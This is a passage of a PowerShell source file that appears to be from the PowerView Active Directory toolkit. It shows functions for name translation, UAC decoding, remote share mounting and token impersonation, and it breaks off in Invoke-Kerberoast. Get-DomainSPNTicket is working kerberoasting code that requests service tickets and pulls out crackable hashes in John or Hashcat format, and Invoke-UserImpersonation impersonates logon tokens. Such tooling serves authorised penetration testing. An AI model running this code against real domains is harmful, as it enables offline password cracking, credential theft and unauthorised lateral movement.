1937 $ADSOutputType = $NameTypes['DomainSimple']
1938 }
1939 else {
1940 $ADSOutputType = $NameTypes['NT4']
1941 }
1942 }
1943 else {
1944 $ADSOutputType = $NameTypes[$OutputType]
1945 }
1946
1947 $Translate = New-Object -ComObject NameTranslate
1948
1949 if ($PSBoundParameters['Credential']) {
1950 try {
1951 $Cred = $Credential.GetNetworkCredential()
1952
1953 Invoke-Method $Translate 'InitEx' (
1954 $ADSInitType,
1955 $InitName,
1956 $Cred.UserName,
1957 $Cred.Domain,
1958 $Cred.Password
1959 )
1960 }
1961 catch {
1962 Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"
1963 }
1964 }
1965 else {
1966 try {
1967 $Null = Invoke-Method $Translate 'Init' (
1968 $ADSInitType,
1969 $InitName
1970 )
1971 }
1972 catch {
1973 Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
1974 }
1975 }
1976
1977 # always chase all referrals
1978 Set-Property $Translate 'ChaseReferral' (0x60)
1979
1980 try {
1981 # 8 = Unknown name type -> let the server do the work for us
1982 $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
1983 Invoke-Method $Translate 'Get' ($ADSOutputType)
1984 }
1985 catch [System.Management.Automation.MethodInvocationException] {
1986 Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)"
1987 }
1988 }
1989 }
1990}
1991
1992
1993function ConvertFrom-UACValue {
1994<#
1995.SYNOPSIS
1996
1997Converts a UAC int value to human readable form.
1998
1999Author: Will Schroeder (@harmj0y)
2000License: BSD 3-Clause
2001Required Dependencies: None
2002
2003.DESCRIPTION
2004
2005This function will take an integer that represents a User Account
2006Control (UAC) binary blob and will covert it to an ordered
2007dictionary with each bitwise value broken out. By default only values
2008set are displayed- the -ShowAll switch will display all values with
2009a + next to the ones set.
2010
2011.PARAMETER Value
2012
2013Specifies the integer UAC value to convert.
2014
2015.PARAMETER ShowAll
2016
2017Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.
2018
2019.EXAMPLE
2020
2021ConvertFrom-UACValue -Value 66176
2022
2023Name Value
2024---- -----
2025ENCRYPTED_TEXT_PWD_ALLOWED 128
2026NORMAL_ACCOUNT 512
2027DONT_EXPIRE_PASSWORD 65536
2028
2029.EXAMPLE
2030
2031Get-DomainUser harmj0y | ConvertFrom-UACValue
2032
2033Name Value
2034---- -----
2035NORMAL_ACCOUNT 512
2036DONT_EXPIRE_PASSWORD 65536
2037
2038.EXAMPLE
2039
2040Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
2041
2042Name Value
2043---- -----
2044SCRIPT 1
2045ACCOUNTDISABLE 2
2046HOMEDIR_REQUIRED 8
2047LOCKOUT 16
2048PASSWD_NOTREQD 32
2049PASSWD_CANT_CHANGE 64
2050ENCRYPTED_TEXT_PWD_ALLOWED 128
2051TEMP_DUPLICATE_ACCOUNT 256
2052NORMAL_ACCOUNT 512+
2053INTERDOMAIN_TRUST_ACCOUNT 2048
2054WORKSTATION_TRUST_ACCOUNT 4096
2055SERVER_TRUST_ACCOUNT 8192
2056DONT_EXPIRE_PASSWORD 65536+
2057MNS_LOGON_ACCOUNT 131072
2058SMARTCARD_REQUIRED 262144
2059TRUSTED_FOR_DELEGATION 524288
2060NOT_DELEGATED 1048576
2061USE_DES_KEY_ONLY 2097152
2062DONT_REQ_PREAUTH 4194304
2063PASSWORD_EXPIRED 8388608
2064TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
2065PARTIAL_SECRETS_ACCOUNT 67108864
2066
2067.INPUTS
2068
2069Int
2070
2071Accepts an integer representing a UAC binary blob.
2072
2073.OUTPUTS
2074
2075System.Collections.Specialized.OrderedDictionary
2076
2077An ordered dictionary with the converted UAC fields.
2078
2079.LINK
2080
2081https://support.microsoft.com/en-us/kb/305144
2082#>
2083
2084 [OutputType('System.Collections.Specialized.OrderedDictionary')]
2085 [CmdletBinding()]
2086 Param(
2087 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
2088 [Alias('UAC', 'useraccountcontrol')]
2089 [Int]
2090 $Value,
2091
2092 [Switch]
2093 $ShowAll
2094 )
2095
2096 BEGIN {
2097 # values from https://support.microsoft.com/en-us/kb/305144
2098 $UACValues = New-Object System.Collections.Specialized.OrderedDictionary
2099 $UACValues.Add("SCRIPT", 1)
2100 $UACValues.Add("ACCOUNTDISABLE", 2)
2101 $UACValues.Add("HOMEDIR_REQUIRED", 8)
2102 $UACValues.Add("LOCKOUT", 16)
2103 $UACValues.Add("PASSWD_NOTREQD", 32)
2104 $UACValues.Add("PASSWD_CANT_CHANGE", 64)
2105 $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
2106 $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
2107 $UACValues.Add("NORMAL_ACCOUNT", 512)
2108 $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
2109 $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
2110 $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
2111 $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
2112 $UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
2113 $UACValues.Add("SMARTCARD_REQUIRED", 262144)
2114 $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
2115 $UACValues.Add("NOT_DELEGATED", 1048576)
2116 $UACValues.Add("USE_DES_KEY_ONLY", 2097152)
2117 $UACValues.Add("DONT_REQ_PREAUTH", 4194304)
2118 $UACValues.Add("PASSWORD_EXPIRED", 8388608)
2119 $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
2120 $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
2121 }
2122
2123 PROCESS {
2124 $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
2125
2126 if ($ShowAll) {
2127 ForEach ($UACValue in $UACValues.GetEnumerator()) {
2128 if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
2129 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
2130 }
2131 else {
2132 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
2133 }
2134 }
2135 }
2136 else {
2137 ForEach ($UACValue in $UACValues.GetEnumerator()) {
2138 if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
2139 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
2140 }
2141 }
2142 }
2143 $ResultUACValues
2144 }
2145}
2146
2147
2148function Get-PrincipalContext {
2149<#
2150.SYNOPSIS
2151
2152Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext
2153and simplified identity.
2154
2155Author: Will Schroeder (@harmj0y)
2156License: BSD 3-Clause
2157Required Dependencies: None
2158
2159.PARAMETER Identity
2160
2161A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
2162SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202),
2163or a DOMAIN\username identity.
2164
2165.PARAMETER Domain
2166
2167Specifies the domain to use to search for user/group principals, defaults to the current domain.
2168
2169.PARAMETER Credential
2170
2171A [Management.Automation.PSCredential] object of alternate credentials
2172for connection to the target domain.
2173#>
2174
2175 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
2176 [CmdletBinding()]
2177 Param(
2178 [Parameter(Position = 0, Mandatory = $True)]
2179 [Alias('GroupName', 'GroupIdentity')]
2180 [String]
2181 $Identity,
2182
2183 [ValidateNotNullOrEmpty()]
2184 [String]
2185 $Domain,
2186
2187 [Management.Automation.PSCredential]
2188 [Management.Automation.CredentialAttribute()]
2189 $Credential = [Management.Automation.PSCredential]::Empty
2190 )
2191
2192 Add-Type -AssemblyName System.DirectoryServices.AccountManagement
2193
2194 try {
2195 if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) {
2196 if ($Identity -match '.+\\.+') {
2197 # DOMAIN\groupname
2198 $ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical
2199 if ($ConvertedIdentity) {
2200 $ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/'))
2201 $ObjectIdentity = $Identity.Split('\')[1]
2202 Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'"
2203 }
2204 }
2205 else {
2206 $ObjectIdentity = $Identity
2207 Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'"
2208 $ConnectTarget = $Domain
2209 }
2210
2211 if ($PSBoundParameters['Credential']) {
2212 Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
2213 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password)
2214 }
2215 else {
2216 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget)
2217 }
2218 }
2219 else {
2220 if ($PSBoundParameters['Credential']) {
2221 Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
2222 $DomainName = Get-Domain | Select-Object -ExpandProperty Name
2223 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password)
2224 }
2225 else {
2226 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
2227 }
2228 $ObjectIdentity = $Identity
2229 }
2230
2231 $Out = New-Object PSObject
2232 $Out | Add-Member Noteproperty 'Context' $Context
2233 $Out | Add-Member Noteproperty 'Identity' $ObjectIdentity
2234 $Out
2235 }
2236 catch {
2237 Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_"
2238 }
2239}
2240
2241
2242function Add-RemoteConnection {
2243<#
2244.SYNOPSIS
2245
2246Pseudo "mounts" a connection to a remote path using the specified
2247credential object, allowing for access of remote resources. If a -Path isn't
2248specified, a -ComputerName is required to pseudo-mount IPC$.
2249
2250Author: Will Schroeder (@harmj0y)
2251License: BSD 3-Clause
2252Required Dependencies: PSReflect
2253
2254.DESCRIPTION
2255
2256This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection
2257to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the
2258-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.
2259
2260To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path
2261or -ComputerName.
2262
2263.PARAMETER ComputerName
2264
2265Specifies the system to add a \\ComputerName\IPC$ connection for.
2266
2267.PARAMETER Path
2268
2269Specifies the remote \\UNC\path to add the connection for.
2270
2271.PARAMETER Credential
2272
2273A [Management.Automation.PSCredential] object of alternate credentials
2274for connection to the remote system.
2275
2276.EXAMPLE
2277
2278$Cred = Get-Credential
2279Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred
2280
2281.EXAMPLE
2282
2283$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
2284$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
2285Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred
2286
2287.EXAMPLE
2288
2289$Cred = Get-Credential
2290@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred
2291#>
2292
2293 [CmdletBinding(DefaultParameterSetName = 'ComputerName')]
2294 Param(
2295 [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
2296 [Alias('HostName', 'dnshostname', 'name')]
2297 [ValidateNotNullOrEmpty()]
2298 [String[]]
2299 $ComputerName,
2300
2301 [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
2302 [ValidatePattern('\\\\.*\\.*')]
2303 [String[]]
2304 $Path,
2305
2306 [Parameter(Mandatory = $True)]
2307 [Management.Automation.PSCredential]
2308 [Management.Automation.CredentialAttribute()]
2309 $Credential
2310 )
2311
2312 BEGIN {
2313 $NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW)
2314 $NetResourceInstance.dwType = 1
2315 }
2316
2317 PROCESS {
2318 $Paths = @()
2319 if ($PSBoundParameters['ComputerName']) {
2320 ForEach ($TargetComputerName in $ComputerName) {
2321 $TargetComputerName = $TargetComputerName.Trim('\')
2322 $Paths += ,"\\$TargetComputerName\IPC$"
2323 }
2324 }
2325 else {
2326 $Paths += ,$Path
2327 }
2328
2329 ForEach ($TargetPath in $Paths) {
2330 $NetResourceInstance.lpRemoteName = $TargetPath
2331 Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"
2332
2333 # https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx
2334 # CONNECT_TEMPORARY = 4
2335 $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4)
2336
2337 if ($Result -eq 0) {
2338 Write-Verbose "$TargetPath successfully mounted"
2339 }
2340 else {
2341 Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
2342 }
2343 }
2344 }
2345}
2346
2347
2348function Remove-RemoteConnection {
2349<#
2350.SYNOPSIS
2351
2352Destroys a connection created by New-RemoteConnection.
2353
2354Author: Will Schroeder (@harmj0y)
2355License: BSD 3-Clause
2356Required Dependencies: PSReflect
2357
2358.DESCRIPTION
2359
2360This function uses WNetCancelConnection2 to destroy a connection created by
2361New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to
2362'unmount' \\$ComputerName\IPC$.
2363
2364.PARAMETER ComputerName
2365
2366Specifies the system to remove a \\ComputerName\IPC$ connection for.
2367
2368.PARAMETER Path
2369
2370Specifies the remote \\UNC\path to remove the connection for.
2371
2372.EXAMPLE
2373
2374Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local'
2375
2376.EXAMPLE
2377
2378Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\'
2379
2380.EXAMPLE
2381
2382@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection
2383#>
2384
2385 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
2386 [CmdletBinding(DefaultParameterSetName = 'ComputerName')]
2387 Param(
2388 [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
2389 [Alias('HostName', 'dnshostname', 'name')]
2390 [ValidateNotNullOrEmpty()]
2391 [String[]]
2392 $ComputerName,
2393
2394 [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
2395 [ValidatePattern('\\\\.*\\.*')]
2396 [String[]]
2397 $Path
2398 )
2399
2400 PROCESS {
2401 $Paths = @()
2402 if ($PSBoundParameters['ComputerName']) {
2403 ForEach ($TargetComputerName in $ComputerName) {
2404 $TargetComputerName = $TargetComputerName.Trim('\')
2405 $Paths += ,"\\$TargetComputerName\IPC$"
2406 }
2407 }
2408 else {
2409 $Paths += ,$Path
2410 }
2411
2412 ForEach ($TargetPath in $Paths) {
2413 Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"
2414 $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)
2415
2416 if ($Result -eq 0) {
2417 Write-Verbose "$TargetPath successfully ummounted"
2418 }
2419 else {
2420 Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
2421 }
2422 }
2423 }
2424}
2425
2426
2427function Invoke-UserImpersonation {
2428<#
2429.SYNOPSIS
2430
2431Creates a new "runas /netonly" type logon and impersonates the token.
2432
2433Author: Will Schroeder (@harmj0y)
2434License: BSD 3-Clause
2435Required Dependencies: PSReflect
2436
2437.DESCRIPTION
2438
2439This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
2440to simulate "runas /netonly". The resulting token is then impersonated with
2441ImpersonateLoggedOnUser() and the token handle is returned for later usage
2442with Invoke-RevertToSelf.
2443
2444.PARAMETER Credential
2445
2446A [Management.Automation.PSCredential] object with alternate credentials
2447to impersonate in the current thread space.
2448
2449.PARAMETER TokenHandle
2450
2451An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
2452If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
2453is executed.
2454
2455.PARAMETER Quiet
2456
2457Suppress any warnings about STA vs MTA.
2458
2459.EXAMPLE
2460
2461$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
2462$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
2463Invoke-UserImpersonation -Credential $Cred
2464
2465.OUTPUTS
2466
2467IntPtr
2468
2469The TokenHandle result from LogonUser.
2470#>
2471
2472 [OutputType([IntPtr])]
2473 [CmdletBinding(DefaultParameterSetName = 'Credential')]
2474 Param(
2475 [Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
2476 [Management.Automation.PSCredential]
2477 [Management.Automation.CredentialAttribute()]
2478 $Credential,
2479
2480 [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]
2481 [ValidateNotNull()]
2482 [IntPtr]
2483 $TokenHandle,
2484
2485 [Switch]
2486 $Quiet
2487 )
2488
2489 if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) {
2490 Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."
2491 }
2492
2493 if ($PSBoundParameters['TokenHandle']) {
2494 $LogonTokenHandle = $TokenHandle
2495 }
2496 else {
2497 $LogonTokenHandle = [IntPtr]::Zero
2498 $NetworkCredential = $Credential.GetNetworkCredential()
2499 $UserDomain = $NetworkCredential.Domain
2500 $UserName = $NetworkCredential.UserName
2501 Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"
2502
2503 # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3
2504 # this is to simulate "runas.exe /netonly" functionality
2505 $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
2506
2507 if (-not $Result) {
2508 throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
2509 }
2510 }
2511
2512 # actually impersonate the token from LogonUser()
2513 $Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)
2514
2515 if (-not $Result) {
2516 throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
2517 }
2518
2519 Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"
2520 $LogonTokenHandle
2521}
2522
2523
2524function Invoke-RevertToSelf {
2525<#
2526.SYNOPSIS
2527
2528Reverts any token impersonation.
2529
2530Author: Will Schroeder (@harmj0y)
2531License: BSD 3-Clause
2532Required Dependencies: PSReflect
2533
2534.DESCRIPTION
2535
2536This function uses RevertToSelf() to revert any impersonated tokens.
2537If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
2538CloseHandle() is used to close the opened handle.
2539
2540.PARAMETER TokenHandle
2541
2542An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.
2543
2544.EXAMPLE
2545
2546$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
2547$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
2548$Token = Invoke-UserImpersonation -Credential $Cred
2549Invoke-RevertToSelf -TokenHandle $Token
2550#>
2551
2552 [CmdletBinding()]
2553 Param(
2554 [ValidateNotNull()]
2555 [IntPtr]
2556 $TokenHandle
2557 )
2558
2559 if ($PSBoundParameters['TokenHandle']) {
2560 Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle"
2561 $Result = $Kernel32::CloseHandle($TokenHandle)
2562 }
2563
2564 $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
2565
2566 if (-not $Result) {
2567 throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
2568 }
2569
2570 Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"
2571}
2572
2573
2574function Get-DomainSPNTicket {
2575<#
2576.SYNOPSIS
2577
2578Request the kerberos ticket for a specified service principal name (SPN).
2579
2580Author: machosec, Will Schroeder (@harmj0y)
2581License: BSD 3-Clause
2582Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
2583
2584.DESCRIPTION
2585
2586This function will either take one/more SPN strings, or one/more PowerView.User objects
2587(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
2588using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
2589portion of the ticket is then extracted and output in either crackable John or Hashcat
2590format (deafult of John).
2591
2592.PARAMETER SPN
2593
2594Specifies the service principal name to request the ticket for.
2595
2596.PARAMETER User
2597
2598Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
2599
2600.PARAMETER OutputFormat
2601
2602Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
2603Defaults to 'John'.
2604
2605.PARAMETER Credential
2606
2607A [Management.Automation.PSCredential] object of alternate credentials
2608for connection to the remote domain using Invoke-UserImpersonation.
2609
2610.EXAMPLE
2611
2612Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
2613
2614Request a kerberos service ticket for the specified SPN.
2615
2616.EXAMPLE
2617
2618"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
2619
2620Request kerberos service tickets for all SPNs passed on the pipeline.
2621
2622.EXAMPLE
2623
2624Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
2625
2626Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
2627
2628.INPUTS
2629
2630String
2631
2632Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
2633
2634.INPUTS
2635
2636PowerView.User
2637
2638Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
2639
2640.OUTPUTS
2641
2642PowerView.SPNTicket
2643
2644Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
2645#>
2646
2647 [OutputType('PowerView.SPNTicket')]
2648 [CmdletBinding(DefaultParameterSetName = 'RawSPN')]
2649 Param (
2650 [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
2651 [ValidatePattern('.*/.*')]
2652 [Alias('ServicePrincipalName')]
2653 [String[]]
2654 $SPN,
2655
2656 [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
2657 [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
2658 [Object[]]
2659 $User,
2660
2661 [ValidateSet('John', 'Hashcat')]
2662 [Alias('Format')]
2663 [String]
2664 $OutputFormat = 'John',
2665
2666 [Management.Automation.PSCredential]
2667 [Management.Automation.CredentialAttribute()]
2668 $Credential = [Management.Automation.PSCredential]::Empty
2669 )
2670
2671 BEGIN {
2672 $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
2673
2674 if ($PSBoundParameters['Credential']) {
2675 $LogonToken = Invoke-UserImpersonation -Credential $Credential
2676 }
2677 }
2678
2679 PROCESS {
2680 if ($PSBoundParameters['User']) {
2681 $TargetObject = $User
2682 }
2683 else {
2684 $TargetObject = $SPN
2685 }
2686
2687 ForEach ($Object in $TargetObject) {
2688 if ($PSBoundParameters['User']) {
2689 $UserSPN = $Object.ServicePrincipalName
2690 $SamAccountName = $Object.SamAccountName
2691 $DistinguishedName = $Object.DistinguishedName
2692 }
2693 else {
2694 $UserSPN = $Object
2695 $SamAccountName = 'UNKNOWN'
2696 $DistinguishedName = 'UNKNOWN'
2697 }
2698
2699 # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
2700 if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
2701 $UserSPN = $UserSPN[0]
2702 }
2703
2704 try {
2705 $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
2706 }
2707 catch {
2708 Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
2709 }
2710 if ($Ticket) {
2711 $TicketByteStream = $Ticket.GetRequest()
2712 }
2713 if ($TicketByteStream) {
2714 $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
2715 [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
2716 $Parts.RemoveAt($Parts.Count - 1)
2717 $Hash = $Parts -join 'A48201'
2718 $Hash = $Hash.Insert(32, '$')
2719
2720 $Out = New-Object PSObject
2721 $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
2722 $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
2723 $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
2724
2725 if ($OutputFormat -match 'John') {
2726 $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
2727 }
2728 else {
2729 if ($DistinguishedName -ne 'UNKNOWN') {
2730 $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2731 }
2732 else {
2733 $UserDomain = 'UNKNOWN'
2734 }
2735
2736 # hashcat output format
2737 $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
2738 }
2739 $Out | Add-Member Noteproperty 'Hash' $HashFormat
2740 $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
2741 Write-Output $Out
2742 }
2743 }
2744 }
2745
2746 END {
2747 if ($LogonToken) {
2748 Invoke-RevertToSelf -TokenHandle $LogonToken
2749 }
2750 }
2751}
2752
2753
2754function Invoke-Kerberoast {
2755<#
2756.SYNOPSIS
2757
2758Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
2759
2760Author: Will Schroeder (@harmj0y), @machosec
2761License: BSD 3-Clause
2762Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket
2763
2764.DESCRIPTION
2765
2766Uses Get-DomainUser to query for user accounts with non-null service principle
2767names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
2768The ticket format can be specified with -OutputFormat <John/Hashcat>.
2769
2770.PARAMETER Identity
2771
2772A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
2773SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
2774Wildcards accepted.
2775
2776.PARAMETER Domain
2777
2778Specifies the domain to use for the query, defaults to the current domain.
2779
2780.PARAMETER LDAPFilter
2781
2782Specifies an LDAP query string that is used to filter Active Directory objects.
2783
2784.PARAMETER SearchBase
2785
2786The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
2787Useful for OU queries.
2788
2789.PARAMETER Server
2790
2791Specifies an Active Directory server (domain controller) to bind to.
2792
2793.PARAMETER SearchScope
2794
2795Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
2796
2797.PARAMETER ResultPageSize
2798
2799Specifies the PageSize to set for the LDAP searcher object.
2800
2801.PARAMETER ServerTimeLimit
2802
2803Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
2804
2805.PARAMETER Tombstone
2806
2807Switch. Specifies that the searcher should also return deleted/tombstoned objects.
2808
2809.PARAMETER OutputFormat
2810
2811Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
2812Defaults to 'John'.
2813
2814.PARAMETER Credential
2815
2816A [Management.Automation.PSCredential] object of alternate credentials
2817for connection to the target domain.
2818
2819.EXAMPLE
2820
2821Invoke-Kerberoast | fl
2822
2823Kerberoasts all found SPNs for the current domain.
2824
2825.EXAMPLE
2826
2827Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl
2828
2829Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat
2830format instead of John (the default).
2831
2832.EXAMPLE
2833
2834$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
2835$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
2836Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
2837
2838Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
2839
2840.OUTPUTS
2841
2842PowerView.SPNTicket
2843
2844Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
2845#>
2846
2847 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
2848 [OutputType('PowerView.SPNTicket')]
2849 [CmdletBinding()]
2850 Param(
